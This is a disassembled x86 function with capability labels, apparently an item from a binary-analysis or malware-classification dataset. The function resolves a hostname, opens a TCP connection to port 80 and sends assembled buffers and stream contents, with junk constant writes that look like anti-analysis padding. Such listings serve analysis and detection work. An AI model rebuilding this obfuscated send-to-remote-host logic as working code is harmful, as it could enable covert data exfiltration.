Function at 0x46b91c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x46b925
mov eax, dword [ebp - 4]
add esp, 0xfffff7e4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x2820], eax
mov dword [ebp - 8], eax
mov esi, 0x473e10
xor eax, eax
push ebp
push 0x46bcd0
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x46bca5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x415550]
call fcn.00403360
mov ebx, eax
mov ecx, 0x8c
mov edx, 0x46bce8
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
push 0
push 0
mov eax, dword [0x473c2c]
call fcn.00418e0c
mov eax, dword [0x473c2c]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov edx, dword [0x473c2c]
mov eax, ebx
call fcn.00419088
mov ecx, 0x90
mov edx, 0x46bd80
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
push 0
push 0
mov eax, dword [0x473c28]
call fcn.00418e0c
mov eax, dword [0x473c28]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov edx, dword [0x473c28]
mov eax, ebx
call fcn.00419088
mov ecx, 0x8d
mov edx, 0x46be1c
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, dword [0x473e14]
call fcn.00402da8
add eax, 0x356419
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x34b0de
mov dword [0x473e14], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x384e50
mov dword [0x473e14], eax
mov dword [esi], 0xe343
mov eax, 0x1a11a1
call fcn.00402da8
mov dword [esi], eax
mov dword [esi], 0x455d2
push 0
push 0
mov eax, dword [0x473c30]
call fcn.00418e0c
mov dword [0x473e20], 0xdfab686
mov eax, dword [0x473c30]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov edx, dword [0x473c30]
mov eax, ebx
call fcn.00419088
mov ecx, 0x4a
mov edx, 0x46beb4
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, dword [0x473c64]
call fcn.0040441c
push eax
mov eax, 0x473c64
call fcn.00404674
mov edx, eax
mov eax, ebx
pop ecx
mov edi, dword [eax]
call dword [edi + 0x10]
mov ecx, 0x21
mov edx, 0x46bf08
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
push 0x46bf34
push dword [0x4726a4]
push 0x46bf44
push 0x46bf58
push 0x46bf7c
push 0x46bfcc
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
push edx
push eax
lea eax, [ebp - 0x2820]
call fcn.004083d8
push dword [ebp - 0x2820]
push 0x46bfe8
push 0x46bff4
push dword [0x4726a0]
push 0x46bfe8
push 0x46c004
push 0x46c028
push dword [0x472694]
push 0x46c040
lea eax, [ebp - 8]
mov edx, 0xf
call fcn.004044dc
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
mov word [ebp - 0x18], 2
mov eax, dword [0x4726a0]
call fcn.0040461c
push eax
call sub.wsock32.dll_gethostbyname
mov edi, eax
test edi, edi
je 0x46bb5a
mov eax, dword [edi + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x14], eax
push 0x50
call sub.wsock32.dll_htons
mov word [ebp - 0x16], ax
push 0x10
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_connect
mov dword [esi], 0x2dc8b9
mov dword [0x473e14], 0x3466c0
mov eax, dword [0x473e14]
call fcn.00402da8
add eax, 0x83b3d
mov dword [esi], eax
mov dword [esi], 0x2129f1
mov dword [esi], 0x3fa14a
mov dword [0x473e14], 0x2e16af
mov dword [esi], 0x94fb3
mov eax, 0x29471d
call fcn.00402da8
mov dword [esi], eax
mov dword [esi], 0x466c
mov dword [0x473e14], 0x3bd02
mov dword [0x473e14], 0x130760
mov eax, dword [0x473e14]
call fcn.00402da8
add eax, 0xda349
mov dword [esi], eax
mov dword [esi], 0x1f6270
mov dword [0x473e14], 0x1f1ecc
mov dword [0x473e14], 0x1edbcd
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1cf96
mov dword [0x473e14], eax
mov dword [esi], 0x119573
mov eax, 0x4f542
call fcn.00402da8
mov dword [esi], eax
mov dword [esi], 0x3e451
push 0
mov eax, dword [ebp - 8]
call fcn.0040441c
push eax
lea eax, [ebp - 8]
call fcn.00404674
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_send
push 0
push 0
mov eax, ebx
call fcn.00418e0c
lea edx, [ebp - 0x2819]
mov ecx, 0x2801
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov esi, eax
push 0
push esi
lea eax, [ebp - 0x2819]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_send
test esi, esi
jne 0x46bc51
mov eax, ebx
call fcn.00403390
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_closesocket
mov dword [0x473c18], 0x104472b2
call fcn.00469578
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x46bcaf
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bcd7
lea eax, [ebp - 0x2820]
call fcn.0040415c
lea eax, [ebp - 8]
call fcn.0040415c
ret